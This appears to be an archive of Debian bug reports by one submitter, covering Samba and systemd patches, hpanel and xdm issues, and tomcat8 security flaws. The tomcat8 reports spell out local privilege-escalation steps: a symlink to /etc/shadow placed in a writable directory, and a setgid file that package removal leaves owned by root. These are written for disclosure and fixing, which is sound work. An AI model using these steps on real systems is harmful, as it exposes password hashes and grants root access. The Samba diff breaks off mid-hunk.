Bug#912193: samba: Ignores UNIX groups
Package: samba
Version: 2:4.5.12+dfsg-2+deb9u3
Severity: normal
Tags: patch
Dear Maintainer,
Samba ignores the UNIX secondary groups of the UNIX user; then file
permissions (based on those secondary groups) fail. (Instead, Samba
adds the "Windows groups" that the "Windows user" belongs to, but
that is probably useless or wrong for file accesses.)
The following patch seems to solve the issue.
(Seems to me that Samba4.9 suffers from the same issue.)
Cheers, Paul
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
-- System Information:
Debian Release: 9.5
APT prefers stable
APT policy: (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 4.9.110-pk09.23-amd64 (SMP w/4 CPU cores)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages samba depends on:
ii adduser 3.115
ii dpkg 1.18.25
ii init-system-helpers 1.48
ii libbsd0 0.8.3-1
ii libc62.24-11+deb9u3
ii libldb1 2:1.1.27-1+b1
ii libpam-modules 1.1.8-3.6
ii libpam-runtime 1.1.8-3.6
ii libpopt0 1.16-10+b2
ii libpython2.7 2.7.13-2+deb9u3
ii libtalloc2 2.1.8-1
ii libtdb1 1.3.11-2
ii libtevent0 0.9.31-1
ii libwbclient0 2:4.5.12+dfsg-2+deb9u3
ii lsb-base 9.20161125
ii procps 2:3.3.12-3+deb9u1
ii python 2.7.13-2
ii python-dnspython 1.15.0-1
ii python-samba 2:4.5.12+dfsg-2+deb9u3
ii python2.72.7.13-2+deb9u3
ii samba-common 2:4.5.12+dfsg-2+deb9u3
ii samba-common-bin 2:4.5.12+dfsg-2+deb9u3
ii samba-libs 2:4.5.12+dfsg-2+deb9u3
ii tdb-tools1.3.11-2
ii update-inetd 4.44
Versions of packages samba recommends:
ii attr1:2.4.47-2+b2
ii logrotate 3.11.0-0.1
ii samba-dsdb-modules 2:4.5.12+dfsg-2+deb9u3
ii samba-vfs-modules 2:4.5.12+dfsg-2+deb9u3
Versions of packages samba suggests:
pn bind9
pn bind9utils
pn ctdb
pn ldb-tools
ii ntp1:4.2.8p10+dfsg-3+deb9u2
pn smbldap-tools
pn ufw
ii winbind2:4.5.12+dfsg-2+deb9u3
-- no debconf information
--- ./samba-4.5.12/source3/auth/auth_util.c.orig2016-12-09
01:09:52.0 +1100
+++ ./samba-4.5.12/source3/auth/auth_util.c 2018-10-29 08:53:21.216263177
+1100
@@ -531,6 +531,7 @@
/* Just copy the token, it has already been finalised
* (nasty hack to support a cached guest/system session_info
*/
+ /* PSz - I have not noticed that this copy would succeed... */
session_info->security_token = dup_nt_token(session_info,
server_info->security_token);
if (!session_info->security_token) {
@@ -551,6 +552,16 @@
return NT_STATUS_OK;
}
+/*
+ * DEBUG(10, ("PSz - as things were after copy of
server_info->security_token\n"));
+ * security_token_debug(DBGC_AUTH, 10, session_info->security_token);
+ * debug_unix_user_token(DBGC_AUTH, 10,
+ * session_info->unix_token->uid,
+ * session_info->unix_token->gid,
+ * session_info->unix_token->ngroups,
+ * session_info->unix_token->groups);
+ */
+
/*
* If winbind is not around, we can not make much use of the SIDs the
* domain controller provided us with. Likewise if the user name was
@@ -578,47 +589,93 @@
&session_info->security_token);
}
+/*
+ * DEBUG(10, ("PSz - as things were after
create_token_from_username/create_local_nt_token_from_info3\n"));
+ * security_token_debug(DBGC_AUTH, 10, session_info->security_token);
+ * debug_unix_user_token(DBGC_AUTH, 10,
+ * session_info->unix_token->uid,
+ * session_info->unix_token->gid,
+ * session_info->unix_token->ngroups,
+ * session_info->unix_token->groups);
+ */
+
if (!NT_STATUS_IS_OK(status)) {
return status;
}
/* Convert the SIDs to gids. */
+ /*
+* PSz - Why zero them here? May have initialized them already,
+* in copy of security_token. Was that wrong (wasted)?
+*/
session_info->unix_token->ngroups = 0;
session_info->unix_token->groups = NULL;
- t = session_info->security_token;
-
- ids = talloc_array(talloc_tos(), struct unixid,
-
Bug#910479: hpanel: Sometimes busy and unresponsive
Package: hpanel Version: 0.3.2-4 Severity: normal Dear Maintainer, On occasions, I observe hpanel to be busy, and unresponsive: seems that the panel icons are "flashing" (in sequence maybe?), and clicking on them has no immediate effect (to raise or lower the window); waiting a minute or so, hpanel will quieten and then act on the clicks that were done during its busy stage. I do not know how to reproduce or elicit this "busy and unresponsive" state, nor have ideas on checking what it is doing during that time. Thanks, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 9.5 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 4.9.110-pk09.20-amd64 (SMP w/64 CPU cores) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages hpanel depends on: ii libc6 2.24-11+deb9u3 ii libx11-6 2:1.6.4-3 ii libxft2 2.3.2-1+b2 ii libxpm4 1:3.5.12-1 hpanel recommends no packages. hpanel suggests no packages. -- no debconf information
Bug#887467: hpanel: x86_64 shows broken icons
Dear Bernhard, Thanks, your patches (this one for icons, and bug#887468 for crash) work perfectly! Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#887468: hpanel: Crashes with SIGSEGV sometimes
Dear Bernhard, I have been using hpanel with your patch for about 2 days now, and no crash has occurred: seems it solves this issue. Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#887468: hpanel: Crashes with SIGSEGV sometimes
Dear Bernhard, I now build hpanel with your patch, will let you know how it goes. Hoping this was the right fix... maybe you could look also at the bug#887467 issue of the broken icons? Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: [bts-link] source package systemd
debian-bts-l...@lists.debian.org wrote: ... # remote status report for #803013 (http://bugs.debian.org/803013) # Bug title: systemd should not destroy application created cgroups # * https://github.com/systemd/systemd/issues/1872 # * remote status changed: (?) -> closed # * closed upstream tags 803013 + fixed-upstream usertags 803013 + status-closed ... It is not fixed upstream, but simply closed; this Debian bug should not be closed. Please note again: this "confusion" or "lack of sanity check" bug in systemd prevents package cgroup-tools from working. Oh well, I will keep using my "manually patched" systemd. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#886887: unreproducible last crashing
Dear Andreas, You are right in that the problem does not seem to occur anymore. The crash seems to have been within libc.so.6 and that was updated since my report: package libc6 changed from version 2.24-11+deb9u1 to 2.24-11+deb9u3 . (The last command itself was updated also, package util-linux changed from version 2.29.2-1 to 2.29.2-1+deb9u1.) Running the old "last" (but with the current libc.so.6) does not reproduce the problem, and I do not want to downgrade libc6 to test. I guess you may close this bug. Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#887468: hpanel: Crashes with SIGSEGV sometimes
Package: hpanel Version: 0.3.2-4 Severity: normal Dear Maintainer, Running on x86_64, hpanel sometimes crashes with SIGSEGV. As yet I have not noticed what actions may cause this, so do not know how to make it happen at will. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 9.3 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 4.9.65-pk09.08-amd64 (SMP w/64 CPU cores) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages hpanel depends on: ii libc6 2.24-11+deb9u1 ii libx11-6 2:1.6.4-3 ii libxft2 2.3.2-1+b2 ii libxpm4 1:3.5.12-1 hpanel recommends no packages. hpanel suggests no packages. -- no debconf information
Bug#887467: hpanel: x86_64 shows broken icons
Package: hpanel Version: 0.3.2-4 Severity: normal Dear Maintainer, Hpanel running on x86_64, shows broken icons; though hpanel on i386 shows correct icons. (Fspanel has the same behaviour.) Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 9.3 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 4.9.65-pk09.08-amd64 (SMP w/64 CPU cores) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages hpanel depends on: ii libc6 2.24-11+deb9u1 ii libx11-6 2:1.6.4-3 ii libxft2 2.3.2-1+b2 ii libxpm4 1:3.5.12-1 hpanel recommends no packages. hpanel suggests no packages. -- no debconf information
Bug#884945: xdm: opens TCP port for (XDMCP?) LISTEN
Package: xdm Version: 1:1.1.11-3 Severity: normal Dear Maintainer, When configured for XDMCP (to LISTEN on UDP port 177), xdm also opens a random, high-numbered TCP (tcp6, IPv6) port to LISTEN. Currently my xdm shows: root@p639:~# netstat -anp | grep xdm tcp6 0 0 :::51359:::*LISTEN 2471/xdm udp0 0 0.0.0.0:177 0.0.0.0:* 2471/xdm unix 3 [ ] STREAM CONNECTED 4867 2471/xdm root@p639:~# lsof -p 2471 | grep -E -i 'udp|tcp|unix' xdm 2471 root1u unix 0x880118ee7480 0t04867 type=STREAM xdm 2471 root3u IPv6 8097 0t0 TCP *:51359 (LISTEN) xdm 2471 root4u IPv4 6954 0t0 UDP *:xdmcp root@p639:~# I wonder whether this is a recurrence of bug#239341. Please let me know if I should investigate further. Thanks, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 9.3 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (x86_64) Kernel: Linux 4.9.65-pk09.06-amd64 (SMP w/4 CPU cores) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Init: systemd (via /run/systemd/system) Versions of packages xdm depends on: ii cpp4:6.3.0-4 ii debconf [debconf-2.0] 1.5.61 ii libc6 2.24-11+deb9u1 ii libpam0g 1.1.8-3.6 ii libselinux12.6-3+b3 ii libx11-6 2:1.6.4-3 ii libxau61:1.0.8-1 ii libxaw72:1.0.13-1+b2 ii libxdmcp6 1:1.1.2-3 ii libxext6 2:1.3.3-1+b2 ii libxft22.3.2-1+b2 ii libxinerama1 2:1.1.3-1+b3 ii libxmu62:1.1.2-2 ii libxpm41:3.5.12-1 ii libxrender11:0.9.10-1 ii libxt6 1:1.1.5-1 ii lsb-base 9.20161125 ii procps 2:3.3.12-3 ii x11-utils 7.7+3+b1 ii x11-xserver-utils 7.7+7+b1 ii xbase-clients 1:7.7+19 xdm recommends no packages. xdm suggests no packages. -- Configuration Files: /etc/X11/xdm/Xaccess changed: * #any host can get a login window LISTEN 0.0.0.0 /etc/X11/xdm/Xresources changed: Xcursor.theme: whiteglass xlogin*login.translations: #override \ Escape: abort-display()\n\ CtrlR: abort-display()\n\ F11: set-session-argument(failsafe)\n\ Delete: delete-character()\n\ Left: move-backward-character()\n\ Right: move-forward-character()\n\ Home: move-to-begining()\n\ End: move-to-end()\n\ Tab: finish-field()\n\ Return: finish-field()\n\ KP_Enter: finish-field() !xlogin*greeting: Welcome to CLIENTHOST !xlogin*namePrompt: \040\040\040\040\040\040\040Login: !xlogin*fail: Login incorrect or forbidden by policy xlogin*greeting: CLIENTHOST xlogin*namePrompt: \040\040\040\040\040\040Login: !!! Should not this come from PAM?? xlogin*fail: Login incorrect xlogin.Login.echoPasswd:true xlogin.Login.echoPasswdChar:* xlogin*greetFont: -adobe-helvetica-bold-o-normal--24-240-75-75-p-138-iso8859-1 xlogin*font: -adobe-helvetica-medium-r-normal--18-180-75-75-p-98-iso8859-1 xlogin*promptFont: -adobe-helvetica-bold-r-normal--18-180-75-75-p-103-iso8859-1 xlogin*failFont: -adobe-helvetica-bold-r-normal--18-180-75-75-p-103-iso8859-1 xlogin*greetFace: Serif-24:bold:italic xlogin*face:Helvetica-18 xlogin*promptFace: Helvetica-18:bold xlogin*failFace:Helvetica-18:bold xlogin*greetFont: -adobe-helvetica-bold-o-normal--17-120-100-100-p-92-iso8859-1 xlogin*font: -adobe-helvetica-medium-r-normal--12-120-75-75-p-67-iso8859-1 xlogin*promptFont: -adobe-helvetica-bold-r-normal--12-120-75-75-p-70-iso8859-1 xlogin*failFont: -adobe-helvetica-bold-o-normal--14-140-75-75-p-82-iso8859-1 xlogin*greetFace: Serif-18:bold:italic xlogin*face:Helvetica-12 xlogin*promptFace: Helvetica-12:bold xlogin*failFace:Helvetica-14:bold xlogin*borderWidth: 1 xlogin*frameWidth: 5 xlogin*innerFramesWidth: 2 xlogin*shdColor: grey30 xlogin*hiColor: grey90 xlogin*background: grey !xlogin*foreground: darkgreen xlogin*greetColor: Blue3 xlogin*failColor: red *Foreground: black *Background: #f0 xlogin*borderWidth: 3 xlogin*frameWidth: 0 xlogin*innerFramesWidth: 1 xlogin*shdColor: black xlogin*hiColor: black !! No logo, we have background !#if PLANES >= 8 !xlogin*logoFileName: /usr/share/X11/xdm/pixmaps/debian.xpm !#else !xlogin*logoFileName: /usr/share/X11/xdm/pixmaps/debianbw.xpm !#endif !xlogin*useShape: true !xlogin*logoPadding: 10 XConsole.text.geometry: 480x130 XConsole.verbose:
Bug#803013: systemd should not destroy application created cgroups
A patch below, functionally identical to my previous. But this seems
neater, showing the intent more clearly: clearer that this is a "true"
bug in systemd.
Cheers, Paul
--
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
diff -r -U23 a/src/basic/cgroup-util.c b/src/basic/cgroup-util.c
--- a/src/basic/cgroup-util.c 2017-07-20 09:32:36.0 +1000
+++ b/src/basic/cgroup-util.c 2017-07-23 13:51:28.0 +1000
@@ -363,46 +363,60 @@
return r;
}
return ret;
}
int cg_migrate(
const char *cfrom,
const char *pfrom,
const char *cto,
const char *pto,
CGroupFlags flags) {
bool done = false;
_cleanup_set_free_ Set *s = NULL;
int r, ret = 0;
pid_t my_pid;
assert(cfrom);
assert(pfrom);
assert(cto);
assert(pto);
+/*
+ * PSz 25 Oct 2015
+ * An empty "to" path is surely wrong
+ * (do not annoy cgroups that are not ours).
+ * PSz 23 Jul 2017
+ * Cannot happen anymore(?), see cg_migrate_recursive_fallback()
+ * below... log if it does!
+ */
+if (!strlen(pto)) {
+log_warning("PSz debug: cg_migrate skip from (%s)%s to (%s)%s", cfrom, pfrom, cto, pto);
+return ret;
+}
+/* log_warning("PSz debug: cg_migrate do from (%s)%s to (%s)%s", cfrom, pfrom, cto, pto); */
+
s = set_new(NULL);
if (!s)
return -ENOMEM;
my_pid = getpid();
do {
_cleanup_fclose_ FILE *f = NULL;
pid_t pid = 0;
done = true;
r = cg_enumerate_processes(cfrom, pfrom, &f);
if (r < 0) {
if (ret >= 0 && r != -ENOENT)
return r;
return ret;
}
while ((r = cg_read_pid(f, &pid)) > 0) {
/* This might do weird stuff if we aren't a
* single-threaded program. However, we
@@ -504,46 +518,62 @@
int cg_migrate_recursive_fallback(
const char *cfrom,
const char *pfrom,
const char *cto,
const char *pto,
CGroupFlags flags) {
int r;
assert(cfrom);
assert(pfrom);
assert(cto);
assert(pto);
r = cg_migrate_recursive(cfrom, pfrom, cto, pto, flags);
if (r < 0) {
char prefix[strlen(pto) + 1];
/* This didn't work? Then let's try all prefixes of the destination */
PATH_FOREACH_PREFIX(prefix, pto) {
int q;
+/*
+ * PSz 23 Jul 2017
+ * Skip an empty ("") prefix path: surely wrong,
+ * do not annoy cgroups that are not ours.
+ * Other comments:
+ * - Why this "did not work so try something else"?
+ * - Maybe should have used PATH_FOREACH_PREFIX_MORE
+ * for cleaner, more compact code.
+ * - Should check cg_attach_fallback() also, and maybe
+ * review all other uses of PATH_FOREACH_PREFIX.
+ */
+if (!strlen(prefix)) {
+/* log_warning("PSz debug: cg_migrate_recursive_fallback skip from (%s)%s to (%s) (empty prefix of %s)", cfrom, pfrom, cto, pto); */
+continue;
+}
+
q = cg_migrate_recursive(cfrom, pfrom, cto, prefix, flags);
if (q >= 0)
return q;
}
}
return r;
}
static const char *controller_to_dirname(const char *controller) {
const char *e;
assert(controller);
/* Converts a controller name to the directory name below
* /sys/fs/cgroup/ we want to mount it to. Effectively, this
* just cuts off the name= prefixed used for named
* hierarchies, if it is specified. */
e = startswith(controller, "name=");
if (e)
return e;
Bug#803013: systemd should not destroy application created cgroups
Dear Martin, You can create a drop-in like /etc/systemd/system/cgred.service.d/delegate.conf with [Service] Delegate=yes I tried that, but did not help; also did not help to do similar with file named /etc/systemd/system/cgrulesengd.service.d/delegate.conf matching name of running daemon. Anything else you suggest to try? My guess is that the above could not possibly help. It may tell systemd that cgrulesengd will do weird things and to leave alone, but it does not tell what to leave alone. How could systemd guess that cgrulesengd will write things into /sys/fs/cgroup/cpu,cpuacct/ and to leave those? I think this issue is a "true bug" in systemd, that it should not use empty (zero-length) string pto "path to" values in cg_migrate() calls: it seems an oversight to have assert(pto) but no assert(strlen(pto)) sanity checks in the code. Maybe I should check where calls with empty strings originate from ... Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: systemd should not destroy application created cgroups
Dear Martin, ... the official and documented mechanism is to set "Delegate=yes" in a unit which wants to do its own cgroup management. Everything else is just a hack prone to bitrotting... Where would I set that? My cgrulesengd (from package cgroup-tools) is started from /etc/init.d/cgred, not from some systemd *.service thing. My cgrulesengd sets things under /sys/fs/cgroup/cpu,cpuacct/ and I do not see that mentioned in any systemd config-type files. (Distressing how this bug did not get fixed in two years...) Like it apparently happened to the previous patch that we've been carrying for three years already: https://anonscm.debian.org/cgit/pkg-systemd/systemd.git/tree/debian/patches/debian/cgroup-don-t-trim-cgroup-trees-created-by-someone-el.patch Seems this is not sufficient any more? You mean file debian/patches/debian/cgroup-don-t-trim-cgroup-trees-created-by-someone-el.patch within systemd_232-25.debian.tar.xz or already in say systemd_215-17+deb8u2.debian.tar.xz No, it is not (and was never) sufficient: that is a different bug. Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: systemd should not destroy application created cgroups
Now updating my machines to stretch, I see this issue is still present,
now in systemd version 232-25. The same steps can reproduce:
- Set up cgroups e.g. adding TaskIDs to /sys/fs/cgroup/cpu/DIR/tasks
files. (I use cgrulesengd from package cgroup-tools, but any other
use of cgroups is equally affected.)
- Then when you use systemd commands:
systemctl daemon-reload
systemctl start anacron
you will see your cgroups (your tasks files) becoming empty.
Command daemon-reload seems to happen within "apt-get dist-upgrade"
sequences, and "start anacron" happens nightly. (Some other systemd
commands may also affect.)
and the "same" fix applies: new patch file below, for changed sources.
Please update the list of versions affected by the bug. Maybe you could
set the severity back to critical: it does break unrelated software in
a default setup.
(Distressing how this bug did not get fixed in two years...)
Thanks, Paul
--
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
diff -r -U17 a/src/basic/cgroup-util.c b/src/basic/cgroup-util.c
--- a/src/basic/cgroup-util.c 2017-07-20 09:32:36.0 +1000
+++ b/src/basic/cgroup-util.c 2017-07-20 09:41:31.0 +1000
@@ -369,34 +369,44 @@
int cg_migrate(
const char *cfrom,
const char *pfrom,
const char *cto,
const char *pto,
CGroupFlags flags) {
bool done = false;
_cleanup_set_free_ Set *s = NULL;
int r, ret = 0;
pid_t my_pid;
assert(cfrom);
assert(pfrom);
assert(cto);
assert(pto);
+/*
+ * PSz 25 Oct 2015
+ * An empty "to" path is surely wrong (do not annoy cgroups that not ours)
+ */
+if (!strlen(pto)) {
+/* log_warning("Debug: cg_migrate skip from (%s)%s to (%s)%s", cfrom, pfrom, cto, pto); */
+return ret;
+}
+/* log_warning("Debug: cg_migrate do from (%s)%s to (%s)%s", cfrom, pfrom, cto, pto); */
+
s = set_new(NULL);
if (!s)
return -ENOMEM;
my_pid = getpid();
do {
_cleanup_fclose_ FILE *f = NULL;
pid_t pid = 0;
done = true;
r = cg_enumerate_processes(cfrom, pfrom, &f);
if (r < 0) {
if (ret >= 0 && r != -ENOENT)
return r;
return ret;
Bug#845393: Pending fixes for bugs in the tomcat8 package
Dear Emmanuel, The two directories /etc/tomcat8/Catalina /etc/tomcat8/Catalina/localhost have similar ownership and permissions, but they are set up differently: localhost is "delivered" writable, while Catalina is delivered without but is then set so in postinst (and re-set at each upgrade). This seems confusing. Would it be worthwhile to handle them both in the same way? Maybe some other things in postinst could get the same treatment. (Simple is easier to keep secure.) Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#845393: Pending fixes for bugs in the tomcat8 package
Dear Emmanuel, (Yes I had tomcat6, then went to tomcat8, skipping tomcat7; and have inherited things.) You seem to say that /etc/tomcat8/Catalina/localhost does not need to be writable by tomcat8, setting it so was useless (thus wrong). What about the /etc/tomcat8/Catalina directory, is there a need to set it writable? Is there a need to have these owned by group tomcat8, could they be left as root:root and world-accessible? Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#845393: Pending fixes for bugs in the tomcat8 package
Dear Emmanuel, Sorry for my previous outbursts. I was wrong. Your fix (chmod-ing just Catalina, not localhost) is fine: if you do not chmod localhost, then there is no issue even if localhost is replaced by a symlink pointing somewhere. However... will tomcat still "work"? On my machine, I have one XML file /etc/tomcat8/Catalina/localhost/mapleta.xml in there, for the one application(?) that is installed. I guess it was tomcat that put it there: then tomcat needs write access to localhost. Maybe /etc/tomcat8/Catalina/localhost is to be "delivered" writable from the DEB package, the ownership only to be fixed in postinst? In the current DEB, that directory is not group-writable. Could you kindly explain how this all works. Thanks, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#845393: Pending fixes for bugs in the tomcat8 package
Hmm... I just accused you of being mistaken... but maybe it is I who is wrong. - Now thinking it through again. Cheers, Paul
Bug#845393: Pending fixes for bugs in the tomcat8 package
Dear Emmanuel, >> The bug depends on "Catalina" being writable; the permissions on >> "localhost" are irrelevant. > > The postinst script no longer runs chmod 755 on the localhost directory. > If I'm not mistaken this fixes the issue you reported. > > https://anonscm.debian.org/cgit/pkg-java/tomcat8.git/commit/?id=02570d6 > > The script still chmods the Catalina directory but this one can't be > replaced by a symlink. You are mistaken. Please re-read the original bug report. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#845393: marked as done (Privilege escalation via upgrade)
reopen 845393 thanks Not done. Please fix proper. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#845393: Pending fixes for bugs in the tomcat8 package
Dear Emmanuel, > No longer make /etc/tomcat8/Catalina/localhost writable ... The bug depends on "Catalina" being writable; the permissions on "localhost" are irrelevant. Please re-open. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#845385: Privilege escalation via removal
Emmanuel wrote: >> Might protect against "static" things, but vulnerable to a race. > I'm not sure to understand, what kind of race could happen here? Hmm... You suggested some chmod before chown. Your attacker sits tight, waits for the chmod, then creates the "bad thing" in readiness for your chown. The chmod takes time to complete, the chown takes time to get up and start: plenty of time in between for the attacker to act. >> But really... why do you care about leaving some "dangling" useless >> object, owned by some long-gone UID or GID? > > I don't know the motivations behind this complexity. I can imagine a > case where an administrator switches from tomcat8 to tomcat9 and doesn't > expect the old package to remove files unknown to him so they can be > moved to the configuration directory of the new package. > > The upgrade scenario could look like this: > > 1. Install tomcat8 > 2. Declare a web application in /etc/tomcat8/Catalina/localhost > 3. Uninstall tomcat8 > 4. Install tomcat9 > 5. Move /etc/tomcat8/Catalina/localhost/* to /etc/tomcat9/Catalina/localhost > > If the step 3 also removes the webapp configuration the administrator is > going to be angry (but arguably less than having his system hacked). You misunderstood. Do not remove things in "step 3": leave alone, do not chown. (Remove the chown from your script.) Leave it being owned by the tomcat8 UID, not bother that the UID will be "gone" and un-named. >> Then if the tomcat8 package is removed (purged?), the postrm script runs >> chown -Rhf root:root /etc/tomcat8/ >> and that will leave the file world-writable, setgid root > > What about switching the files left to nobody:nogroup instead of > root:root? That would be less disruptive for the stable and oldstable > updates than removing /etc/tomcat8 completely. That would be less dangerous, but still wrong; would still be privilege escalation, though to a less useful entity. --- Markus wrote: >>> Then if the tomcat8 package is removed (purged?), the postrm script runs >>> chown -Rhf root:root /etc/tomcat8/ >>> and that will leave the file world-writable, setgid root >> >> What about switching the files left to nobody:nogroup instead of >> root:root? That would be less disruptive for the stable and oldstable >> updates than removing /etc/tomcat8 completely. > > I guess just removing /etc/tomcat8/Catalina would be an option too. As > far as I know nothing else requires it to be present after the removal > of Tomcat. If there were applications with such a dependency we should > take a look at them. Yes you could "forcibly" remove /etc/tomcat8/Catalina. But then, just remove all of /etc/tomcat8 so there is definitely nothing left to chown. --- I now notice a typo in your postrm script. It has lines like: if [ -d /var/lib/tomcat8/common ] && [ -z "`(find var/lib/tomcat8/common/classes -type f)`" ] ; then and are missing a "/" in front of "var". (Of course the "if" are superfluous, just do the "rmdir".) --- I now notice that the Debian bug contraption does not CC me on messages: just being the submitter does not add you to the CC list, you need to explicitly "subscribe". So I missed a number of intermediate messages. --- Markus wrote previously: > ... Besides all tomcat processes are killed on purge. Where does that happen? I do not think that is true. Neither are any possible setuid-tomcat8 or setgid-tomcat8 files removed. --- Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#845385: Privilege escalation via removal
Dear Emmanuel, > Do you think running something like "chmod -R 640 /etc/tomcat8" right > before the chown is an appropriate solution to this issue? Might protect against "static" things, but vulnerable to a race. Your postrm script might want to kill all tomcat8 processes, also. That might be a "good thing": deluser or delgroup might not "work" with left-over, running processes; and might protect against a race. But really... why do you care about leaving some "dangling" useless object, owned by some long-gone UID or GID? Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#845393: Privilege escalation via upgrade
Package: tomcat8 Version: 8.0.14-1+deb8u4 Severity: critical Tags: security Having installed tomcat8, the directory /etc/tomcat8/Catalina is set writable by group tomcat8, as per the postinst script. Then the tomcat8 user, in the situation envisaged in DSA-3670 and DSA-3720, see also http://seclists.org/fulldisclosure/2016/Oct/4 could use something like commands mv -i /etc/tomcat8/Catalina/localhost /etc/tomcat8/Catalina/localhost-OLD ln -s /etc/shadow /etc/tomcat8/Catalina/localhost to create a symlink: # ls -l /etc/tomcat8/Catalina/localhost lrwxrwxrwx 1 tomcat8 tomcat8 11 Nov 23 10:19 /etc/tomcat8/Catalina/localhost -> /etc/shadow Then when the tomcat8 package is upgraded (e.g. for the next DSA), the postinst script runs chmod 775 /etc/tomcat8/Catalina /etc/tomcat8/Catalina/localhost and that will make the /etc/shadow file world-readable (and group-writable). Other useful attacks might be to make the objects: /root/.Xauthority /etc/ssh/ssh_host_dsa_key world-readable; or make something (already owned by group tomcat8) group-writable (some "policy" setting maybe?). Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#845385: Privilege escalation via removal
Package: tomcat8 Version: 8.0.14-1+deb8u4 Severity: critical Tags: security Having installed tomcat8, the directory /etc/tomcat8/Catalina is set writable by group tomcat8, as per the postinst script. Then the tomcat8 user, in the situation envisaged in DSA-3670 and DSA-3720, see also http://seclists.org/fulldisclosure/2016/Oct/4 could use something like commands touch /etc/tomcat8/Catalina/attack chmod 2747 /etc/tomcat8/Catalina/attack to create a file: # ls -l /etc/tomcat8/Catalina/attack -rwxr-Srwx 1 tomcat8 tomcat8 0 Nov 23 09:00 /etc/tomcat8/Catalina/attack Then if the tomcat8 package is removed (purged?), the postrm script runs chown -Rhf root:root /etc/tomcat8/ and that will leave the file world-writable, setgid root: # ls -l /etc/tomcat8/Catalina/attack -rwxr-Srwx 1 root root 0 Nov 23 09:00 /etc/tomcat8/Catalina/attack allowing "group root" access to the world. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#841257: sendmail: Privilege escalation from group smmsp to (user) root
